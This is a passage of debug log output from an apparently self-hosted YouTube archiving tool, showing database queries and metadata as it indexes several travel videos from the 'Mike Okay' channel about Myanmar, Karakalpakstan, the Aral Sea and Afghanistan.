watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "duration" => 2343, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", "id" => "bBxtc-Tskto", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bBxtc-Tskto", "playlist_index" => 15, "timestamp" => 1769098339, "title" => "Overnight on Myanmar's Forbidden Border", "upload_date" => "20260122"} 18:29:01.511 [debug] QUERY OK source="sources" db=0.2ms idle=1823.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:29:01.511 [debug] QUERY OK source="sources" db=0.1ms idle=1823.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:01.511 [debug] QUERY OK source="media_items" db=0.2ms idle=1385.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 18:29:01.512 [debug] QUERY OK source="media_items" db=0.7ms idle=1064.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "b461150b-03b9-4769-b9bf-765158658044", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 01:29:01Z], ~U[2026-08-20 01:29:01Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 18:29:01.513 [debug] QUERY OK source="sources" db=0.1ms idle=65.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:01.513 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:29:01.513 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18990] 18:29:01.514 [debug] Current batch of media processed. Will check again in 1000ms 18:29:02.514 [debug] Current batch of media processed. Will check again in 1000ms 18:29:03.515 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "duration" => 1857, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", "id" => "oiGyXylltRE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oiGyXylltRE", "playlist_index" => 16, "timestamp" => 1766162042, "title" => "Inside the Country that Almost Existed", "upload_date" => "20251219"} 18:29:03.516 [debug] QUERY OK source="sources" db=0.2ms idle=828.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:29:03.516 [debug] QUERY OK source="sources" db=0.1ms idle=828.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:03.516 [debug] QUERY OK source="media_items" db=0.3ms idle=829.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 18:29:03.518 [debug] QUERY OK source="media_items" db=0.8ms idle=829.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "7af9c1f7-1f34-43b9-b41f-7e7708166aa2", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 01:29:03Z], ~U[2026-08-20 01:29:03Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 18:29:03.518 [debug] QUERY OK source="sources" db=0.2ms idle=68.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:03.518 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:29:03.519 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18991] 18:29:03.519 [debug] Current batch of media processed. Will check again in 1000ms 18:29:04.520 [debug] Current batch of media processed. Will check again in 1000ms 18:29:05.521 [debug] Current batch of media processed. Will check again in 1000ms 18:29:06.522 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 1552, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", "id" => "XaO_IcYqzRs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XaO_IcYqzRs", "playlist_index" => 17, "timestamp" => 1764952604, "title" => "Drunk Camping in an Abandoned Soviet Ghost Ship", "upload_date" => "20251205"} 18:29:06.523 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1834.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:29:06.523 [debug] QUERY OK source="sources" db=0.2ms idle=1835.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:06.524 [debug] QUERY OK source="media_items" db=0.3ms idle=1835.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 18:29:06.525 [debug] QUERY OK source="media_items" db=0.8ms idle=1072.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "a4b99f3a-caca-4dba-9059-dfeeb3fb0fe5", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 01:29:06Z], ~U[2026-08-20 01:29:06Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 18:29:06.525 [debug] QUERY OK source="sources" db=0.2ms idle=72.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:06.526 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:29:06.526 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18992] 18:29:06.526 [debug] Current batch of media processed. Will check again in 1000ms 18:29:07.527 [debug] Current batch of media processed. Will check again in 1000ms 18:29:08.528 [debug] Current batch of media processed. Will check again in 1000ms 18:29:09.529 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2619, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", "id" => "TePUvifOHbk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TePUvifOHbk", "playlist_index" => 18, "timestamp" => 1763741498, "title" => "Crossing Afghanistan's Deadly Coal Mine Route", "upload_date" => "20251121"} 18:29:09.530 [debug] QUERY OK source="sources" db=0.2ms idle=1841.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:29:09.530 [debug] QUERY OK source="sources" db=0.1ms idle=1842.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:09.531 [debug] QUERY OK source="media_items" db=0.3ms idle=1842.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 18:29:09.532 [debug] QUERY OK source="media_items" db=1.1ms idle=1076.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "e3608ef6-7742-44f4-94a6-8cb7da82657a", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 